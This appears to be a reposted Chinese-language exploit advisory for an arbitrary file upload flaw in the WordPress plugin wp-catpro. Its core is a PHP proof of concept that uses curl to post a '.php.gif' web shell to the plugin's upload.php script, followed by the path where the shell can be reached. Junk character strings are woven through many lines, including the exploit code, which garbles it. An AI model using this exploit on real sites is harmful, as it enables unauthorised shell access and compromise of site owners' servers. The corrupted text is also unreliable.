WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
* z( ~( H0 o6 U, @" H/ s1 ~
#=> Exploit 信息:
6 _) @6 \/ _2 _# d9 \, `------------------
2 C7 I& b- c" W" b0 y1 i* s7 F4 k& I# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
8 |" _0 H0 P1 S! {: L# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
) @# h  t* Y* f( L+ K" L# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

% r8 G  K: x+ `9 E/ {6 A7 k9 F! k#=> Exploit
9 n8 m5 e& J- ]* l7 n: u-----------
+ E/ Y% @2 c4 J<?php
4 A; K/ _' [) E% n
; @2 v. I" Y7 s" P$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
7 m6 B& R" H% q% l* Garray('Filedata'=>"@$uploadfile",
' c; u7 U; D+ Z'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ t: Q: o: @4 i6 ]5 N$postResult = curl_exec($ch);
+ }3 r4 q0 e$ U) J5 E* Vcurl_close($ch);
$ Z8 i2 q* o$ z* v% z) o; w
print "$postResult";
% b) F* X( L. f# D' d8 S
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
% b7 ~# N5 q! ?) p4 I# L  ?>
, s2 N& W! |# w6 n7 x  y0 T<?php
) k3 C6 I5 ^) z( yphpinfo();
' g) v! _+ J5 L?>